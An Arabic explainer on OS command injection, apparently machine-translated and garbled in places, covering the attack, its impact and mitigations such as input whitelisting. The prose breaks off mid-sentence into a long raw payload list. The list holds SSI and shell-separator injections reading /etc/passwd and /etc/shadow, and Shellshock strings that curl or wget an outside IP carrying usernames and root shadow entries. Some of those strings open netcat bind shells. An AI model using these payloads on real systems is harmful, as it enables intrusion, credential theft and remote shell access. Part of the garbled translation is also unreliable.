حقن القيادة هو هجوم يكون فيه الهدف هو تنفيذ الأوامر التعسفية على نظام التشغيل المضيف عبر تطبيق ضعيف. تكون هجمات حقن الأوامر ممكنة عندما يمرر التطبيق بيانات غير آمنة للمستخدم (النماذج ، ملفات تعريف الارتباط ، رؤوس HTTP وما إلى ذلك) إلى قذيفة النظام. في هذا الهجوم ، عادة ما يتم تنفيذ أوامر نظام التشغيل المقدمة من المهاجم بامتيازات التطبيق الضعيف. هجمات حقن الأوامر ممكنة إلى حد كبير بسبب عدم صحة المدخلات غير الكافية.
يختلف هذا الهجوم عن حقن التعليمات البرمجية ، في هذا الحقن الكود يتيح للمهاجم إضافة رمزه الخاص الذي يتم تنفيذه بواسطة التطبيق. في حقن الأوامر ، يمتد المهاجم الوظيفة الافتراضية للتطبيق ، والتي تنفذ أوامر النظام ، دون ضرورة حقن رمز.
حقن أوامر OS هو ثغرة أمنية حاسمة تسمح للمهاجمين بالتحكم الكامل على موقع ويب متأثر وخادم الويب الأساسي.
تنشأ نقاط الضعف لحقن أوامر OS عندما يقوم التطبيق بتضمين بيانات المستخدم في أمر نظام التشغيل الذي ينفذه. يمكن للمهاجم معالجة البيانات للتسبب في تشغيل أوامرهم الخاصة. يسمح ذلك للمهاجم بتنفيذ أي إجراء يمكن للتطبيق نفسه تنفيذه ، بما في ذلك قراءة أو تعديل جميع بياناته وأداء الإجراءات المميزة.
بالإضافة إلى التسوية التامة لخادم الويب نفسه ، يمكن للمهاجم الاستفادة من ثغرة حقن الأوامر لتحديد الهجوم في البنية التحتية الداخلية للمؤسسة ، وربما الوصول إلى أي نظام يمكن لخادم الويب الوصول إليه. قد يكونون أيضًا قادرين على إنشاء موطئ قدم مستمر داخل المؤسسة ، مع الاستمرار في الوصول إلى الأنظمة المعرضة للخطر حتى بعد إصلاح الضعف الأصلي.
تنشأ ثغرات حقن نظام التشغيل في نظام التشغيل عندما يشتمل التطبيق على بيانات يمكن السيطرة عليها في الأمر في أمر تتم معالجته بواسطة مترجم أمر shell. إذا لم يتم التحقق من صحة بيانات المستخدم بشكل صارم ، فيمكن للمهاجم استخدام Metacharacters Shell لتعديل الأمر الذي يتم تنفيذه ، وحقن الأوامر التعسفية التي سيتم تنفيذها بواسطة الخادم.
عادةً ما تكون نقاط الضعف في حقن أوامر OS خطيرة للغاية وقد تؤدي إلى حل وسط لاستضافة الخادم الذي يستضيف التطبيق ، أو عن بيانات التطبيق ووظائفه. قد يكون من الممكن أيضًا استخدام الخادم كمنصة للهجمات على الأنظمة الأخرى. تعتمد الإمكانات الدقيقة للاستغلال على سياق الأمان الذي يتم فيه تنفيذ الأمر ، والامتيازات التي يمتلكها هذا السياق فيما يتعلق بالموارد الحساسة على الخادم.
إذا كان ذلك ممكنًا ، يجب أن تتجنب التطبيقات دمج البيانات التي يمكن السيطرة عليها في أوامر نظام التشغيل. في كل موقف تقريبًا ، هناك طرق بديلة أكثر أمانًا لأداء مهام على مستوى الخادم ، والتي لا يمكن معالجتها لأداء أوامر إضافية من تلك المقصودة.
إذا كان لا يمكن تجنب دمج البيانات التي يقدمها المستخدم في أوامر نظام التشغيل ، فيجب استخدام طبقتين من الدفاع التاليين لمنع الهجمات:
يجب التحقق من صحة بيانات المستخدم بدقة. من الناحية المثالية ، يجب استخدام القائمة البيضاء من القيم المقبولة المحددة. خلاف ذلك ، يجب قبول السلاسل الأبجدية القصيرة فقط. يجب رفض المدخلات التي تحتوي على أي بيانات أخرى ، بما في ذلك أي قذيفة يمكن تصورها metacharacter أو المساحة البيضاء.
يجب أن يستخدم التطبيق واجهات برمجة تطبيقات الأوامر التي تطلق عملية محددة عبر معلمات اسم خط الأوامر ، بدلاً من تمرير سلسلة الأوامر إلى مترجم شل الذي يدعم تسلسل الأوامر وإعادة التوجيه. على سبيل المثال ، لا تدعم Java API Runtime.exec و API API ASP.NET. يمكن أن يخفف هذا الدفاع
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>